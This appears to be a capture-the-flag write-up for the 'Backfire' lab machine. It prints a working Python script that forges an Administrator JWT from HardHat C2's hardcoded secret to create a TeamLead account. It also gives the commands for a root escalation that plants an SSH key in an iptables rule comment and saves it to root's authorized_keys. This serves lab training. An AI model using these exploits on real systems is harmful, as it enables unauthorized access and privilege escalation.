    <!--Blazor:{"sequence":1,"type":"server","prerenderId":"6ecedaf649da420183521b1ba7039cb1","descriptor":"CfDJ8KlOusCuhfhCiWAuPiuOh59s7EYY8bsW/dGM0USfNhWkj6gg3JPfl13jyIwlNvTFL2F3P6eaZspFIc1PLXCiIIKy3w/1ymz9Nro8/tCLOgXrtp4rzDnAVIeemgPGMsQJktQO7d9lsonn7xGhji3fesSPKPE18JnRqJuDwY/l9OWcXSTrtMuMs3tGXq\u002B7tJcwtrNb3RwYeayUtEygp2c5JNcySMZzIxzXNYw3Rgw3j9BpbsgWhJyuqi1ciaacvLvzLtX/PwyYLukGAi30vqp5Iz7qMJftcWOcb5ZH36vcr3GZQhDETV0uMYTuRafIv2tPO1E68546teLg2X7mvlPL1hRH5gqCq/yLAbZEHkhT2z7/v8RblIyJY5QKxhj44HhNUQ8HXkrUgkyu/jAeOPEoJ64CRscM5/cd8LZVDhtrYW99"}--><!--Blazor:{"prerenderId":"6ecedaf649da420183521b1ba7039cb1"}-->
</head>
----- SNIP -----

Port: 5000

ilya@backfire:~$ curl -k https://localhost:5000 -v
*   Trying 127.0.0.1:5000...
* Connected to localhost (127.0.0.1) port 5000 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server accepted h2
* Server certificate:
*  subject: CN=HardHat TeamServer
*  start date: Feb  8 10:50:05 2025 GMT
*  expire date: Feb  8 10:50:05 2030 GMT
*  issuer: CN=HardHat TeamServer
*  SSL certificate verify result: self-signed certificate (18), continuing anyway.
* using HTTP/2
* h2h3 [:method: GET]
* h2h3 [:path: /]
* h2h3 [:scheme: https]
* h2h3 [:authority: localhost:5000]
* h2h3 [user-agent: curl/7.88.1]
* h2h3 [accept: */*]
* Using Stream ID: 1 (easy handle 0x55fb03427ce0)
> GET / HTTP/2
> Host: localhost:5000
> user-agent: curl/7.88.1
> accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/2 404 
< date: Sat, 08 Feb 2025 10:50:10 GMT
< server: Kestrel
< content-length: 0
< 
* Connection #0 to host localhost left intact

Port forward both the ports.

ssh -i id_rsa -L 5000:127.0.0.1:5000 ilya@10.10.11.49
ssh -i id_rsa -L 7096:127.0.0.1:7096 ilya@10.10.11.49

Shell - sergej [ Hardhat Authentication Bypass ]

HardHat C2 is a cross-platform, collaborative Command & Control (C2) framework developed in C#. It is designed primarily for red-team engagements and penetration testing, aiming to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.

The JWT token can be created with Administrator and TeamLead role which is used to authenticate into HardHat C2 without valid passowrd. The PoC is posted in Medium, showing the HardHat Authentication Bypass. The PoC contains the python script which we are going to use.

hardhat_exp.py
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
1

Execute the above python script

python3 hardhat_exp.py

Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMDFjNDgzNWEtMjdkNC00MjM5LWE2OWUtOTk3ZjhiM2JlMDFlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzkwMzc5NzUsImV4cCI6MTc0MTQ1NzE3NSwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.bEucxY6Q5lPSz-HOzcYlAdqb9l5zjMhPxkY-g8g_O4I
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1053: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
User sth_pentest created

We can simply login now inputting username and password as sth_pentest with JWT token.

2

Login into HardHat as user sth_pentest

3

The HardHat has built-in terminal which we will use to gain shell

Previously the technique used to gain persistent shell of ilya, we will be using same here to gain the shell as sergej.

4

SSH as a sergej using ssh public key

ssh -i id_rsa sergej@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Feb 8 09:22:43 2025 from 10.10.14.32
sergej@backfire:~$ 

Shell - root [ iptables-save ]

The user sergej has a sudo privilages to run iptables and iptables-save to privilege escalated and gain a shell as a root.

sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save
sergej@backfire:~$
1

Generate the SSH Keypair

sergej@backfire:~$ ssh-keygen -t ed25519 -C "dexter@parrot"
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/sergej/.ssh/id_ed25519): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/sergej/.ssh/id_ed25519
Your public key has been saved in /home/sergej/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:hN7WzfcmcC344THEdkCPdPW2XDGL99ztrOKteOwP9hI dexter@parrot
The key's randomart image is:
+--[ED25519 256]--+
|             .+o+|
|       .     o.==|
|      . .    .=o*|
|     . o . o +o=*|
|      . S . = Bo*|
|       .    E* O |
|           .o.+ =|
|           o=+ + |
|          .++==  |
+----[SHA256]-----+
2

Adding SSH via Firewall Comments

sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment "$(printf '\n%s\n' "$(cat /home/sergej/.ssh/id_ed25519.pub)"; echo '\n')"
sergej@backfire:~$ sudo /usr/sbin/iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJc1c87emzPTmtAJvbaq9ek8yc8/kEDiaUVu9/+nrKJ dexter@parrot
\\n" -j ACCEPT
3

Save the Firewall rules and ssh into root

sergej@backfire:~$ sudo iptables-save -f /root/.ssh/authorized_keys
sergej@backfire:~$ ssh -i .ssh/id_ed25519 root@localhost
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Feb 8 09:33:12 2025 from 10.10.14.32
root@backfire:~# 

The root.txt file contains the root flag 🎉

Last updated